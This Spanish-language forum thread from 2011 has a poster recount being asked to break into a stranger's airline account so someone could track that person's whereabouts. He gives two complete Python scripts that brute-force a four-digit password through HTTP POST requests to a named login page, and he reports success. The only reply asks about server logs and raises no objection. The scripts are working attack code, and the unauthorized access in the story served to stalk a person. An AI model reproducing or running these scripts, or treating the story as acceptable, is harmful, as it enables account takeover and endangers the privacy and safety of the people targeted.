elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  HTTP Brute-Force con Python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: HTTP Brute-Force con Python  (Leído 4,419 veces)
kiriost

Desconectado Desconectado

Mensajes: 58


www.godsys.com.ar Hacking y Programación


Ver Perfil WWW
HTTP Brute-Force con Python
« en: 9 Octubre 2011, 03:50 am »

El otro día me contacto una mujer, la cual no conocía, pidiendome un favor algo extraño, pero lógico: quería que hackeara la contraseña de una cuenta de una aerolínea (muy pero muy poco conocida) de una persona de la cual quería saber dónde se encontraba actualmente y qué días estaba en el país (al parecer una persona de negocios). No voy a dar más detalles ya que le prometí mantener censura sobre este tema.

El tema está en que no logré hallar ningún bug dentro del servidor web que hospedaba la página de la aerolínea, y al ver que las contraseñas eran de 4 dígitos númericos, saqué algunas conclusiones (en una hoja) y pude averiguar que aproximadamente en 2,83 horas podía obtener la contraseña mediante brute force.

Ojo! Ella me dio el usuario porque lo conocía, solo me pidió que averiguara la contraseña.

Antes que nada empecemos por lo primero: imaginanado que ya sabés que es el brute force en términos hackers. La contraseña eran todos dígitos numéricos y no era mayor a 4 cifras, entonces podemos ver que 10x10x10x10 son las posibilidades que tenemos de encontrar la contraseña, o sea, tenemos 1/10000 son las probabilidades que tenemos de encontrarla (sería un 0.01% de probabilidades). Esto es porque de las 10000 posibles contraseñas solo 1 es la correcta.

Luego de sacar esta simple probabilidad, calculé mediante herramientas propias lo que tardaba mi PC en conectarse al sitio, enviar mediante un comando POST una contraseña y un usuario al azar, comprobar si el usuario y la contraseña son correctos y desconectarse. Esto tardaba alrededor de 1.02 segundos. Entonces probar 10000 contraseñas hasta dar con la correcta me llevaría alrededor de 10200 segundos, o más bien, 2,83 horas.

Para hacer esto automático tuve que recurrir a un lenguaje de programación, y como era tarde, estaba cansado y contaba con poco tiempo me decanté por Python (el rey de la simplicidad y la eficiencia).

Usando la ayuda de las bibliotecas de Python (urllib2, urllib, md5, étc.), empece a codear y… salieron 2 scripts interesantes:

Generar contraseñas al azar
Código
  1. import urllib
  2. import urllib2
  3. import md5
  4. import random
  5. import time
  6.  
  7. abc = "0123456789";
  8. url = "http://aerolinea.vuelefeliz.com/login"
  9. new_passwd = 0
  10.  
  11. while abc == "0123456789":
  12.    if(new_passwd == 1):
  13.        var0 = abc[int(random.random()*len(abc))]
  14.        var1 = abc[int(random.random()*len(abc))]
  15.        var2 = abc[int(random.random()*len(abc))]
  16.        var3 = abc[int(random.random()*len(abc))]
  17.        passwd = var0 + var1 + var2 + var3
  18.    print "- Password: " + passwd
  19.    try:
  20.        values={'Aer_Id':'MTYyMA==', #usuario cifrado en md5
  21.        'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password cifrada en md5
  22.        print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex")
  23.  
  24.        data = urllib.urlencode(values)
  25.        req = urllib2.Request(url, data)
  26.        response = urllib2.urlopen(req)
  27.  
  28.        html = response.read()
  29.        if(html.find("Login was unsuccessful") > 0):
  30.            print "Nothing of nothing...\n"
  31.            new_passwd = 1
  32.        else:
  33.            print "Password found!\n"
  34.            arch = open("passwd_ecrews", "w")
  35.            arch.write(passwd)
  36.            arch.close()
  37.            exit()
  38.    except:
  39.        print "Error...\n"
  40.        new_passwd = 0

Explicado simplemente, con este script se genera una contraseña de 4 dígitos numéricos al azar. Los números van desde 0 hasta 9. Luego de esto los envía mediante un resquest POST al sitio web (simula que se llena el formulario de Usuario y Contraseña) y el sitio responde diciendo si son correctos o no. En caso de que sean incorrectos sigue intentando con otros.

values contiene los valores que se envían mediante el comando POST. Sería lo mismo que enviar:

Aer_Id=USER&Aer_Passwd=PASSWORD

Generar contraseñas desde 0000 hasta 9999
Código
  1. import urllib
  2. import urllib2
  3. import md5
  4. import random
  5. import time
  6.  
  7. abc = "0123456789";
  8. url = "http://aerolinea.vuelefeliz.com/login"
  9. new_passwd = 0
  10.  
  11. for i1 in range(0, len(abc)):
  12.        var0 = abc[i1]
  13.        for i2 in range(0, len(abc)):
  14.                var1 = abc[i2]
  15.                for i3 in range(0, len(abc)):
  16.                        var2 = abc[i3]
  17.                        for i4 in range(0, len(abc)):
  18.                                var3 = abc[i4]
  19.                                passwd = var0 + var1 + var2 + var3
  20.                                print "- Password: " + passwd
  21.                                try:
  22.                                        values={'Aer_Id':'MTYyMA==', #esto es el usuario cifrado con md5
  23.                                        'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password tambien cifrada con md5
  24.                                        print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex")
  25.  
  26.                                        data = urllib.urlencode(values)
  27.                                        req = urllib2.Request(url, data)
  28.                                        response = urllib2.urlopen(req)
  29.  
  30.                                        html = response.read()
  31.                                        if(html.find("Login was unsuccessful") > 0):
  32.                                                print "Nothing of nothing...\n"
  33.                                        else:
  34.                                                #si encuentra la password la guarda en un archivo llamado passwd_found
  35.                                                print "Password found!\n"
  36.                                                arch = open("passwd_found", "w")
  37.                                                arch.write(passwd)
  38.                                                arch.close()
  39.                                                exit()
  40.                                except:
  41.                                        print "Error...\n"

Este script hace lo mismo que el anterior, con la única diferencia de que genera contraseñas sucesivas, desde 0000 hasta 9999. Es un poco más seguro ya que te asegura que prueba todas las contraseñas posibles y no las repite.

 

Para acelerar el proceso de brute forcing utilicé el primer script en mi PC y el otro lo ejecuté en un servidor shell que tengo en el mundo exterior con Python instalado, por lo que en menos de 50 minutos la contraseña estaba en mis manos. Pero no se pongan felices, porque como ya les dije yo ya conocía el usuario, solo tenía que descubrir la contraseña. Este método es eficaz cuando las contraseñas son cortas y numéricas, con una contraseña como “as5z8x2!!a2s5″ estaríamos más de 2 siglos probando descubrirlas, y más aún si no conocemos el usuario (el tiempo puede variar un poco, tal vez exageré).

Si la contraseña hubiera sido más larga me hubiera decantado por el primer script, ya que no estaría probando contraseñas tontas, sino probaría contraseñas al azar y, con muuucha suerte, daría más rápido con la misma.

Bueno, cualquier duda ya saben por donde ando: mail o blog :) . En el próximo artículo voy a explicar algunos métodos para realizar técnicas de brute forcing.


En línea

http://www.godsys.com.ar > Programación. Hacking y Cracking. Sistemas. Desarrollo Web.
Java, C/C++, PHP, Python, Perl, HTML, Game-Hacking, Defacing, Desarrollo Web, GNU/Linux, y más
Mr.Blue


Desconectado Desconectado

Mensajes: 441



Ver Perfil WWW
Re: HTTP Brute-Force con Python
« Respuesta #1 en: 9 Octubre 2011, 05:03 am »

esto no levanta sospechas? estas realizado muchas peticiones al servirdor a un usuario particular en 50 min errastes la contraseña muchas veces y esto queda guardado en un log


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
brute force en vb
Programación Visual Basic
luidin 8 6,337 Último mensaje 6 Julio 2007, 14:03 pm
por 3k1n0x
Ataque brute force en python
Análisis y Diseño de Malware
lapcpc 4 4,516 Último mensaje 12 Diciembre 2011, 17:36 pm
por Elemental Code
Ataque brute force Http
Seguridad
y0mism024 0 2,138 Último mensaje 1 Noviembre 2012, 04:39 am
por y0mism024
Brute Force en Python hacia un DMG
Scripting
AngelFire 1 2,017 Último mensaje 22 Febrero 2017, 05:07 am
por Eleкtro
AYUDA: Brute Force Con Python
Scripting
RedLucky 0 1,910 Último mensaje 12 Diciembre 2017, 03:32 am
por RedLucky
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines